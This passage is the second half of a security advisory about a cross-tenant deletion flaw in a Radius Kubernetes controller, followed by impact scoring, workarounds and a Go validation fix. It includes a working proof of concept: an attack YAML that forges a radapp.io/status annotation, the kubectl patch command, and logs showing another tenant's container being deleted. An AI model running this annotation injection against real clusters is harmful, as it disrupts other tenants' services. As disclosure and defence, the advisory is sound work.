Advisory

GHSA-fp5j-4fj2-4jvq

Details, part 2 of 2. The advisory

Details

Step 5: Verify Victim Resource Exists

kubectl get deployment -n tenant-b-victim-app victim-container

Expected output:

NAME               READY   UP-TO-DATE   AVAILABLE   AGE
victim-container   1/1     1            1           50s

Exploitation

Step 6: Inject Malicious Annotation

Create attack-patch.yaml:

metadata:
  annotations:
    radapp.io/enabled: "false"
    radapp.io/status: '{"container":"/planes/radius/local/resourceGroups/tenant-b/providers/Applications.Core/containers/victim-container","scope":"/planes/radius/local/resourceGroups/tenant-b"}'

Execute the attack:

kubectl patch deployment legitimate-app -n tenant-a --patch-file attack-patch.yaml

Expected output:

deployment.apps/legitimate-app patched

Step 7: Verify Attack Success

Wait a few seconds and check the victim's resources:

kubectl get all -n tenant-b-victim-app

Expected output:

No resources found in tenant-b-victim-app namespace.

Log Evidence

The controller logs show the cross-tenant deletion operation:

Attack Triggered (15:29:41.351Z):

{
  "timestamp": "2026-02-01T15:29:41.351Z",
  "message": "Starting DELETE operation.",
  "Deployment": {"name": "legitimate-app", "namespace": "tenant-a"}
}

Cross-Tenant Delete Request (15:29:41.351Z):

{
  "timestamp": "2026-02-01T15:29:41.351Z",
  "message": "Deleting container.",
  "scope": "/planes/radius/local/resourceGroups/tenant-b",
  "resourceType": "Applications.Core/containers"
}

Deletion Successful (15:29:41.367Z):

{
  "timestamp": "2026-02-01T15:29:41.367Z",
  "message": "Resource is deleted.",
  "Deployment": {"name": "legitimate-app", "namespace": "tenant-a"}
}

Impact

Security Impact

  • Confidentiality: No direct impact (no data disclosure)
  • Integrity: None - No victim data is modified; the issue deletes a Radius-managed container resource, which is recoverable from IaC
  • Availability: High - Can cause service disruption for target tenants

Attack Prerequisites

  1. Attacker needs permission to modify Deployment annotations in a Kubernetes namespace
  2. Attacker needs to know the target resource's Radius resource ID (obtainable through enumeration or social engineering)

CVSS 3.1 Vector

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:N/I:N/A:H

| Metric | Value | Description |
|---------------------|---------|--------------------------------------------------------------------|
| Attack Vector | Network | Via Kubernetes API |
| Attack Complexity | Low | Only requires annotation modification |
| Privileges Required | Low | Requires Deployment edit permission |
| User Interaction | None | No user interaction required |
| Scope | Changed | Affects other tenants |
| Confidentiality | None | No data disclosure |
| Integrity | None | No victim data modified; deletes a recoverable management resource |
| Availability | High | Causes service disruption |

Workarounds

Until an official fix is released, consider the following mitigations:

  1. Restrict Annotation Modification Permissions: Use Kubernetes RBAC to limit who can modify Deployment annotations
  2. Monitor Anomalous Operations: Monitor modifications to radapp.io/status annotations, especially those containing other tenants' resource IDs
  3. Network Isolation: Implement strict network policies in multi-tenant environments

Remediation Recommendations

Short-term Fix

Add validation logic in annotations.go to ensure the container ID in radapp.io/status belongs to the current namespace/tenant:

func validateContainerScope(deployment *appsv1.Deployment, containerID string) error {
    expectedScope := extractScopeFromDeployment(deployment)
    actualScope := extractScopeFromContainerID(containerID)
    if expectedScope != actualScope {
        return fmt.Errorf("container scope mismatch: expected %s, got %s", expectedScope, actualScope)
    }
    return nil
}

Long-term Fix

  1. Implement Least Privilege Principle: The controller should use credentials associated with the Deployment's tenant
  2. Add Radius API Authorization Validation: UCP should validate the source tenant of delete requests
  3. Audit Logging: Log all cross-tenant operation attempts

References

Sources & licences